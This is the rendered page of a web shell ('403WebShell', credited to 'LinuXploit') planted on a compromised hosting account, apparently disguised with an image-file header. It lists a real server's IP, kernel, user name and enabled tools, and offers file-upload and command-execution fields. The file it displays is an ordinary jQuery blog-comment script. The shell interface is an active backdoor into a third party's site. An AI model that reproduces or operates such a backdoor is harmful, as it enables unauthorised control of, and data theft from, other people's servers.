����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.16.130.16
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/public/frontend/assets/js/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/public/frontend/assets/js/custom/blog-comment-reply.js
(function () {
    'use strict'

    $(document).on('click', '.replyBtn', function () {
        let parent_id = $(this).data('parent_id');
        $('.parent_id').val(parent_id)

    });

    $(document).on('click', '.submitComment', function () {
        let blog_id = $('.blog_id').val();
        let user_id = $('.user_id').val();
        let name = $('.user_name').val();
        let email = $('.user_email').val();
        let comment = $('.comment').val()
        let blogCommentStoreRoute = $('.blogCommentStoreRoute').val()

        if (!user_id) {
            toastr.warning("You need to login first!")
            return
        }

        if (!name) {
            toastr.error("Name is required!")
            return
        }

        if (!email) {
            toastr.error("Email address is required!")
            return
        }

        const validateEmail = (email) => {
            return email.match(
                /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
            );
        };

        if (!(validateEmail(email))) {
            toastr.error("Email address is invalid!")
            return;
        }

        if (!comment) {
            toastr.error("Comment field is required!")
            return
        }

        $.ajax({
            type: "POST",
            url: blogCommentStoreRoute,
            data: {
                "blog_id": blog_id,
                "user_id": user_id,
                "name": name, "email": email, "comment": comment,
                '_token': $('meta[name="csrf-token"]').attr('content')
            },
            datatype: "json",
            success: function (response) {
                $('.comment').val(null)
                $('.appendCommentList').html(response)
                toastr.success("Comment successfully.")

            }
        });
    });

})()

Youez - 2016 - github.com/yon3zu
LinuXploit